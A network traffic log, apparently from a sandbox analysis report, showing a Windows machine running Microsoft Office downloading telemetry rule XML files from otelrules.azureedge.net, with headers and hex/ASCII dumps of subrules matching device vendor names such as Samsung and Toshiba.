20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:39 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092339Z-174c587ffdfl22mzhC1TEBk40c000000048g00000000nnv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:41 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 375df28d-601e-00ab-5b0b-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092341Z-178bfbc474bpscmfhC1NYCfc2c000000047g00000000f0dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:41 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:41 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092341Z-174c587ffdfb5q56hC1TEB04kg000000044000000000by68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:41 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:41 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092341Z-178bfbc474bnwsh4hC1NYC2ubs00000005t0000000009q36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:41 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:41 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: bf14eb60-501e-007b-507b-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092341Z-174c587ffdf4zw2thC1TEBu340000000046g00000000k8uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:41 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:41 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:41 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092341Z-174c587ffdf9xbcchC1TEBxkz4000000041g00000000cz2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:41 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:43 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:43 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092343Z-15b8b599d88qw29phC1TEB5zag000000046g000000009fku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:43 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:43 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:43 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092343Z-174c587ffdfcb7qhhC1TEB3x70000000048g00000000cxfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:43 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:43 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:43 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092343Z-15b8b599d88vp97chC1TEB5pzw000000049000000000397v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:44 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:43 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0a6aa823-c01e-0014-3efe-3da6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092344Z-178bfbc474bgvl54hC1NYCsfuw00000005pg00000000aay1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:44 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:44 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ab3f6f35-201e-0085-2728-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092344Z-15b8b599d88z9sc7hC1TEBkr4w000000049g00000000d3c3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:44 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:45 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092346Z-178bfbc474bnwsh4hC1NYC2ubs00000005w00000000044ye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
